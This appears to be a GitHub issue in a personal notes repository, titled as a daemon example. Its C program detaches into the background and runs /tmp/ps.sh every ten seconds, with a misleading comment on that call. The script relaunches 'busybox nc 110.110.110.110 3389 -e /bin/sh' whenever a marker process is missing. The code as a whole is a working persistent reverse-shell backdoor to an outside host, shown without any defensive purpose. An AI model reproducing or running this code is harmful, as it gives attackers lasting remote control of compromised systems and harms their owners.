shownb / shownb.github.com

shownb.github.io
shownb.github.io
5 stars 1 forks source link

线程守护daemon #42

Open shownb opened 5 years ago

shownb commented 5 years ago

守护的进程

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>

int daemon( int nochdir, int noclose )
{
    pid_t pid;
    /* 让init进程成为新产生进程的父进程 */
    pid = fork();
    /* 如果创建进程失败 */
    if (pid < 0)
    {
        perror( "fork" );
        return(-1);
    }
    /* 父进程退出运行 */
    if (pid != 0)
    {
        exit(0);
    }
    /* 创建新的会话 */
    pid = setsid();
    if (pid < -1)
    {
        perror("set sid");
        return(-1);
    }
    /* 更改当前工作目录,将工作目录修改成根目录 */
    if (!nochdir)
    {
        chdir("/");
    }
    /*
     * 关闭文件描述符,并重定向标准输入,输出合错误输出
     * 将标准输入输出重定向到空设备
     */
    if ( !noclose )
    {
        int fd;
        fd = open("/dev/null",O_RDWR,0);
        if ( fd != -1 )
        {
            dup2(fd, STDIN_FILENO);
            dup2(fd, STDOUT_FILENO);
            dup2(fd, STDERR_FILENO);
            if (fd > 2)
            {
                close(fd);
            }
        }
    }
    /* 设置守护进程的文件权限创建掩码 */
    umask(0027);

    return(0);
}

int main(int argc, char *argv[])
{
    int fd = 0;
    char    buf[100];

    /* 开启守护进程 */
    daemon( 0, 0 );

    while (1)
    {
        /*删除输出文件 */
        system("/bin/sh /tmp/ps.sh");
        /* 休眠 */
        sleep(10);
    }
    return(0);
}

/tmp/ps.sh

#!/bin/sh
pro_name=33890

 server=`ps|grep ${pro_name}|grep -v grep`
        if [ ! "$server" ]; then
            #如果不存在就重新启动
            /tmp/busybox nohup /tmp/busybox nc 110.110.110.110 3389 -e /bin/sh &
        fi